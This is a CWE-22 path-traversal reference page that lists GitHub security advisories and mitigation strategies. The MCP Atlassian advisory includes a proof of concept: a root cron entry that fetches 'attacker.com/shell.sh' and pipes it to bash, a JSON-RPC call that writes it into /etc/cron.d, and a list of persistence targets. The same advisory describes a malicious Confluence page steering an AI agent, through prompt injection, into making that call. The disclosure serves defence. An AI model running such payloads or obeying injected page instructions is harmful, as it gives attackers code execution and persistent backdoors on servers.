Common Weakness Enumeration

CWE-22

Allowed-with-Review

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Abstraction: Base · Status: Stable

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

13019 vulnerabilities reference this CWE, most recent first.

GHSA-XJF4-FVC9-R77J

Vulnerability from github – Published: 2024-11-22 04:25 – Updated: 2024-11-22 04:25
VLAI
Details

Path Traversal in the Manager component of Wowza Streaming Engine below 4.9.1 allows an administrator user to read any file on the file system if the target directory contains an XML definition file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-52055"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-21T23:15:05Z",
    "severity": "HIGH"
  },
  "details": "Path Traversal in the Manager component of Wowza Streaming Engine below 4.9.1 allows an administrator user to read any file on the file system if the target directory contains an XML definition file.",
  "id": "GHSA-xjf4-fvc9-r77j",
  "modified": "2024-11-22T04:25:02Z",
  "published": "2024-11-22T04:25:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52055"
    },
    {
      "type": "WEB",
      "url": "https://www.rapid7.com/blog/post/2024/11/20/multiple-vulnerabilities-in-wowza-streaming-engine-fixed"
    },
    {
      "type": "WEB",
      "url": "https://www.wowza.com/docs/wowza-streaming-engine-4-9-1-release-notes"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XJFW-6QV5-VRWM

Vulnerability from github – Published: 2022-05-17 00:42 – Updated: 2022-05-17 00:42
VLAI
Details

Directory traversal vulnerability in index.php in LokiCMS 0.3.4 and earlier, when magic_quotes_gpc is disabled, allows remote attackers to check for the existence of arbitrary files via a .. (dot dot) in the page parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-5965"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-01-26T20:30:00Z",
    "severity": "MODERATE"
  },
  "details": "Directory traversal vulnerability in index.php in LokiCMS 0.3.4 and earlier, when magic_quotes_gpc is disabled, allows remote attackers to check for the existence of arbitrary files via a .. (dot dot) in the page parameter.",
  "id": "GHSA-xjfw-6qv5-vrwm",
  "modified": "2022-05-17T00:42:00Z",
  "published": "2022-05-17T00:42:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-5965"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/45822"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/6737"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/30472"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/31730"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/2798"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-XJGW-4WVW-RGM4

Vulnerability from github – Published: 2026-03-10 18:56 – Updated: 2026-03-10 18:56
VLAI
Summary
MCP Atlassian has an arbitrary file write leading to arbitrary code execution via unconstrained download_path in confluence_download_attachment
Details

Summary

The confluence_download_attachment MCP tool accepts a download_path parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to /etc/cron.d/ achieves code execution within one scheduler cycle with no server restart required).

Details

The tool parameter is defined in src/mcp_atlassian/servers/confluence.py:~1275 without any path restriction:

```python download_path: Annotated[ str, Field( description=( "Full path where the file should be saved. Can be absolute or relative. " "Examples: './downloads/report.pdf', '/tmp/image.png', 'C:\\temp\\file.docx'. " "Parent directory will be created if it doesn't exist." ) ), ],

The implementation at src/mcp_atlassian/confluence/attachments.py:183–200:

if not os.path.isabs(target_path): target_path = os.path.abspath(target_path) # normalizes path, no restriction

os.makedirs(os.path.dirname(target_path), exist_ok=True) # creates any directory with open(target_path, "wb") as f: # writes to any writable path for chunk in response.iter_content(chunk_size=8192): f.write(chunk)

os.path.abspath() converts relative paths to absolute but performs no directory boundary check. No configurable base download directory is enforced. There is no validation between the tool parameter and the file write. The same issue exists in download_content_attachments via its target_dir parameter (src/mcp_atlassian/servers/confluence.py:~1389).

PoC

Prerequisites: Confluence credentials with access to at least one page. To control the written file content, upload a malicious attachment to any Confluence page you have write access to.

Step 1 — Prepare the payload. Create a file containing a valid cron entry and upload it as a Confluence attachment:

          • root curl http://attacker.com/shell.sh | bash

Step 2 — Call the tool with a sensitive write target:

{ "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "confluence_download_attachment", "arguments": { "page_id": "", "attachment_id": "", "download_path": "/etc/cron.d/mcp-backdoor" } }, "id": 1 }

The attachment content is written verbatim to /etc/cron.d/mcp-backdoor. The system scheduler executes it within one minute with no further attacker action required.

Alternative potential write targets demonstrating broader impact: - /home//.ssh/authorized_keys - persistent SSH backdoor - /lib/python3.x/site-packages/.py - code execution on next import - ~/.bashrc - code execution on next user login

Impact

An attacker who can invoke MCP tools and upload (or access) a Confluence attachment with controlled content can achieve arbitrary code execution on the server host. The MCP HTTP transport endpoints carry no authentication by default, meaning any host that can reach the server's HTTP port can call tools using the server's own embedded Confluence credentials (global fallback). The default HOST=0.0.0.0 binding makes this reachable from the local network without any configuration change.

In enterprise deployments where Confluence write access is broadly granted, the effective attacker prerequisite reduces to network access to the MCP HTTP port. This is also reachable without direct network access: a malicious Confluence page can embed LLM instructions directing an AI agent to call confluence_download_attachment with attacker-specified parameters, achieving code execution through the agent as an unwitting intermediary.

Example potential RCE paths: 1. Cron job injection - write a cron entry to /etc/cron.d/; executes within one scheduler cycle, no restart required 2. Python package hijack - overwrite any .py module in the application's virtual environment; executes on next import or server restart. 3. SSH authorized_keys - write an attacker-controlled public key; grants persistent interactive shell access. 4. Shell profile injection - write to ~/.bashrc or ~/.profile; executes on next user login.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-atlassian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27825"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T18:56:07Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe `confluence_download_attachment` MCP tool accepts a `download_path` parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to `/etc/cron.d/` achieves code execution within one scheduler cycle with no server restart required).\n\n\n### Details\nThe tool parameter is defined in `src/mcp_atlassian/servers/confluence.py:~1275` without any path restriction:\n\n  ```python\n  download_path: Annotated[\n      str,\n      Field(\n          description=(\n              \"Full path where the file should be saved. Can be absolute or relative. \"\n              \"Examples: \u0027./downloads/report.pdf\u0027, \u0027/tmp/image.png\u0027, \u0027C:\\\\\\\\temp\\\\\\\\file.docx\u0027. \"\n              \"Parent directory will be created if it doesn\u0027t exist.\"\n          )\n      ),\n  ],\n\n The implementation at src/mcp_atlassian/confluence/attachments.py:183\u2013200:\n\n  if not os.path.isabs(target_path):\n      target_path = os.path.abspath(target_path)  # normalizes path, no restriction\n\n  os.makedirs(os.path.dirname(target_path), exist_ok=True)  # creates any directory\n  with open(target_path, \"wb\") as f:                        # writes to any writable path\n      for chunk in response.iter_content(chunk_size=8192):\n          f.write(chunk)\n\n os.path.abspath() converts relative paths to absolute but performs no directory boundary check. No configurable base download directory is enforced. There is no validation between the tool parameter and the file write. The same issue exists in download_content_attachments via its target_dir parameter (src/mcp_atlassian/servers/confluence.py:~1389).\n\n\n### PoC\nPrerequisites: Confluence credentials with access to at least one page. To control the written file content, upload a malicious attachment to any Confluence page you have write access to.\n\nStep 1 \u2014 Prepare the payload. Create a file containing a valid cron entry and upload it as a Confluence attachment:\n\n  * * * * * root curl http://attacker.com/shell.sh | bash\n\nStep 2 \u2014 Call the tool with a sensitive write target:\n\n  {\n      \"jsonrpc\": \"2.0\",\n      \"method\": \"tools/call\",\n      \"params\": {\n          \"name\": \"confluence_download_attachment\",\n          \"arguments\": {\n              \"page_id\": \"\u003cpage id hosting the malicious attachment\u003e\",\n              \"attachment_id\": \"\u003cattachment id\u003e\",\n              \"download_path\": \"/etc/cron.d/mcp-backdoor\"\n          }\n      },\n      \"id\": 1\n  }\n\nThe attachment content is written verbatim to /etc/cron.d/mcp-backdoor. The system scheduler executes it within one minute with no further attacker action required.\n\nAlternative potential write targets demonstrating broader impact:\n  - /home/\u003cuser\u003e/.ssh/authorized_keys - persistent SSH backdoor\n  - \u003cvenv\u003e/lib/python3.x/site-packages/\u003cany_imported_module\u003e.py - code execution on next import\n  - ~/.bashrc - code execution on next user login\n\n### Impact\nAn attacker who can invoke MCP tools and upload (or access) a Confluence attachment with controlled content can achieve arbitrary code execution on the server host. The MCP HTTP transport endpoints carry no authentication by default, meaning any host that can reach the server\u0027s HTTP port can call tools using the server\u0027s own embedded Confluence credentials (global fallback). The default HOST=0.0.0.0 binding makes this reachable from the local network without any configuration change.\n\nIn enterprise deployments where Confluence write access is broadly granted, the effective attacker prerequisite reduces to network access to the MCP HTTP port. This is also reachable without direct network access: a malicious Confluence page can embed LLM instructions directing an AI agent to call confluence_download_attachment with attacker-specified parameters, achieving code execution through the agent as an unwitting intermediary.\n\nExample potential RCE paths:\n 1. Cron job injection - write a cron entry to /etc/cron.d/; executes within one scheduler cycle, no restart required\n 2. Python package hijack - overwrite any .py module in the application\u0027s virtual environment; executes on next import or server restart.\n 3. SSH authorized_keys - write an attacker-controlled public key; grants persistent interactive shell access.\n 4. Shell profile injection - write to ~/.bashrc or ~/.profile; executes on next user login.",
  "id": "GHSA-xjgw-4wvw-rgm4",
  "modified": "2026-03-10T18:56:07Z",
  "published": "2026-03-10T18:56:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-xjgw-4wvw-rgm4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/52b9b0997681e87244b20d58034deae89c91631e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sooperset/mcp-atlassian"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MCP Atlassian has an arbitrary file write leading to arbitrary code execution via unconstrained download_path in confluence_download_attachment"
}

GHSA-XJH5-4XM7-V6PC

Vulnerability from github – Published: 2022-03-05 00:00 – Updated: 2022-03-17 00:03
VLAI
Details

Local File Inclusion due to path traversal in D-Link DAP-1620 leads to unauthorized internal files reading [/etc/passwd] and [/etc/shadow].

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-46381"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-04T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Local File Inclusion due to path traversal in D-Link DAP-1620 leads to unauthorized internal files reading [/etc/passwd] and [/etc/shadow].",
  "id": "GHSA-xjh5-4xm7-v6pc",
  "modified": "2022-03-17T00:03:25Z",
  "published": "2022-03-05T00:00:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46381"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/drive/folders/19OP09msw8l7CJ622nkvnvnt7EKun1eCG?usp=sharing"
    },
    {
      "type": "WEB",
      "url": "https://www.dlink.com/en/security-bulletin"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/167070/DLINK-DAP-1620-A1-1.01-Directory-Traversal.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XJHP-C9JH-8MHV

Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2023-03-20 21:30
VLAI
Details

emlog v5.3.1 has full path disclosure vulnerability in t/index.php, which allows an attacker to see the path to the webroot/file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-3293"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-08T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "emlog v5.3.1 has full path disclosure vulnerability in t/index.php, which allows an attacker to see the path to the webroot/file.",
  "id": "GHSA-xjhp-c9jh-8mhv",
  "modified": "2023-03-20T21:30:17Z",
  "published": "2022-05-24T17:41:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3293"
    },
    {
      "type": "WEB",
      "url": "https://github.com/emlog/emlog/issues/62"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thinkgad/Bugs/blob/main/emlog%20v5.3.1%20has%20Full%20Path%20Disclosure%20vulnerability.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XJHV-M7VJ-8XJP

Vulnerability from github – Published: 2022-05-01 18:19 – Updated: 2025-04-09 03:44
VLAI
Details

Directory traversal vulnerability in a certain ActiveX control in Nessus Vulnerability Scanner 3.0.6 allows remote attackers to delete arbitrary files via a .. (dot dot) in the argument to the deleteReport method, probably related to the SCANCTRL.ScanCtrlCtrl.1 ActiveX control in scan.dll.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2007-4031"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-07-27T22:30:00Z",
    "severity": "HIGH"
  },
  "details": "Directory traversal vulnerability in a certain ActiveX control in Nessus Vulnerability Scanner 3.0.6 allows remote attackers to delete arbitrary files via a .. (dot dot) in the argument to the deleteReport method, probably related to the SCANCTRL.ScanCtrlCtrl.1 ActiveX control in scan.dll.",
  "id": "GHSA-xjhv-m7vj-8xjp",
  "modified": "2025-04-09T03:44:29Z",
  "published": "2022-05-01T18:19:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-4031"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/35641"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/4230"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/26243"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1018469"
    },
    {
      "type": "WEB",
      "url": "http://www.nessus.org/news"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/25088"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2007/2680"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-XJHV-P3FV-X24R

Vulnerability from github – Published: 2023-11-15 12:30 – Updated: 2024-04-26 14:40
VLAI
Summary
In Reactor Netty HTTP Server a malicious user can send a request using a specially crafted URL that can lead to a directory traversal attack
Details

In Reactor Netty HTTP Server, versions 1.1.x prior to 1.1.13 and versions 1.0.x prior to 1.0.39, a malicious user can send a request using a specially crafted URL that can lead to a directory traversal attack.

Specifically, an application is vulnerable if Reactor Netty HTTP Server is configured to serve static resources.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.projectreactor.netty:reactor-netty-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.1.0"
            },
            {
              "fixed": "1.1.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.projectreactor.netty:reactor-netty-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.0.39"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-34062"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-11-15T18:36:00Z",
    "nvd_published_at": "2023-11-15T10:15:07Z",
    "severity": "HIGH"
  },
  "details": "In Reactor Netty HTTP Server, versions 1.1.x prior to 1.1.13 and versions 1.0.x prior to 1.0.39, a malicious user can send a request using a specially crafted URL that can lead to a directory traversal attack.\n\nSpecifically, an application is vulnerable if Reactor Netty HTTP Server is configured to serve static resources.\n\n\n",
  "id": "GHSA-xjhv-p3fv-x24r",
  "modified": "2024-04-26T14:40:28Z",
  "published": "2023-11-15T12:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34062"
    },
    {
      "type": "WEB",
      "url": "https://github.com/reactor/reactor-netty/commit/b1dd46b9a424ca27f7f770be6561faa84d812e5b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/reactor/reactor-netty"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2023-34062"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "In Reactor Netty HTTP Server a malicious user can send a request using a specially crafted URL that can lead to a directory traversal attack"
}

GHSA-XJJH-V77C-8MCM

Vulnerability from github – Published: 2024-01-13 00:30 – Updated: 2025-06-20 21:31
VLAI
Details

A directory traversal vulnerability in the SOAP Server integrated in Atos Unify OpenScape Voice V10 before V10R3.26.1 allows a remote attacker to view the contents of arbitrary files in the local file system. An unauthenticated attacker might obtain sensitive files that allow for the compromise of the underlying system.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-48166"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-12T23:15:08Z",
    "severity": "HIGH"
  },
  "details": "A directory traversal vulnerability in the SOAP Server integrated in Atos Unify OpenScape Voice V10 before V10R3.26.1 allows a remote attacker to view the contents of arbitrary files in the local file system. An unauthenticated attacker might obtain sensitive files that allow for the compromise of the underlying system.",
  "id": "GHSA-xjjh-v77c-8mcm",
  "modified": "2025-06-20T21:31:38Z",
  "published": "2024-01-13T00:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48166"
    },
    {
      "type": "WEB",
      "url": "https://labs.integrity.pt/advisories/cve-2023-48166"
    },
    {
      "type": "WEB",
      "url": "https://networks.unify.com/security/advisories/OBSO-2401-01.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XJQ6-63HC-VRRJ

Vulnerability from github – Published: 2022-05-17 04:41 – Updated: 2022-05-17 04:41
VLAI
Details

dpkg 1.15.9, 1.16.x before 1.16.14, and 1.17.x before 1.17.9 expect the patch program to be compliant with a need for the "C-style encoded filenames" feature, but is supported in environments with noncompliant patch programs, which triggers an interaction error that allows remote attackers to conduct directory traversal attacks and modify files outside of the intended directories via a crafted source package. NOTE: this vulnerability exists because of reliance on unrealistic constraints on the behavior of an external program.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2014-3227"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-05-30T18:55:00Z",
    "severity": "MODERATE"
  },
  "details": "dpkg 1.15.9, 1.16.x before 1.16.14, and 1.17.x before 1.17.9 expect the patch program to be compliant with a need for the \"C-style encoded filenames\" feature, but is supported in environments with noncompliant patch programs, which triggers an interaction error that allows remote attackers to conduct directory traversal attacks and modify files outside of the intended directories via a crafted source package. NOTE: this vulnerability exists because of reliance on unrealistic constraints on the behavior of an external program.",
  "id": "GHSA-xjq6-63hc-vrrj",
  "modified": "2022-05-17T04:41:28Z",
  "published": "2022-05-17T04:41:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-3227"
    },
    {
      "type": "WEB",
      "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=746306"
    },
    {
      "type": "WEB",
      "url": "http://openwall.com/lists/oss-security/2014/04/29/4"
    },
    {
      "type": "WEB",
      "url": "http://openwall.com/lists/oss-security/2014/05/29/16"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-XJQR-G762-PXWP

Vulnerability from github – Published: 2022-02-15 01:57 – Updated: 2023-10-02 13:12
VLAI
Summary
containernetworking/cni improper limitation of path name
Details

An improper limitation of path name flaw was found in containernetworking/cni in versions before 0.8.1. When specifying the plugin to load in the 'type' field in the network configuration, it is possible to use special elements such as "../" separators to reference binaries elsewhere on the system. This flaw allows an attacker to execute other existing binaries other than the cni plugins/types, such as 'reboot'. The highest threat from this vulnerability is to confidentiality, integrity, as well as system availability.

Specific Go Packages Affected

github.com/containernetworking/cni/pkg/invoke

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/containernetworking/cni"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-20206"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-18T21:07:06Z",
    "nvd_published_at": "2021-03-26T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "An improper limitation of path name flaw was found in containernetworking/cni in versions before 0.8.1. When specifying the plugin to load in the \u0027type\u0027 field in the network configuration, it is possible to use special elements such as \"../\" separators to reference binaries elsewhere on the system. This flaw allows an attacker to execute other existing binaries other than the cni plugins/types, such as \u0027reboot\u0027. The highest threat from this vulnerability is to confidentiality, integrity, as well as system availability.\n### Specific Go Packages Affected\ngithub.com/containernetworking/cni/pkg/invoke",
  "id": "GHSA-xjqr-g762-pxwp",
  "modified": "2023-10-02T13:12:28Z",
  "published": "2022-02-15T01:57:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20206"
    },
    {
      "type": "WEB",
      "url": "https://github.com/containernetworking/cni/pull/808"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1919391"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/containernetworking/cni"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2022-0230"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMCONTAINERNETWORKINGCNIPKGINVOKE-1070549"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "containernetworking/cni improper limitation of path name"
}

Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-20.1
Implementation

Strategy: Input Validation

  • Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
  • Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-21.1
Architecture and Design

Strategy: Enforcement by Conversion

  • When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Architecture and Design Operation

Strategy: Attack Surface Reduction

  • Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
  • This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-126: Path Traversal

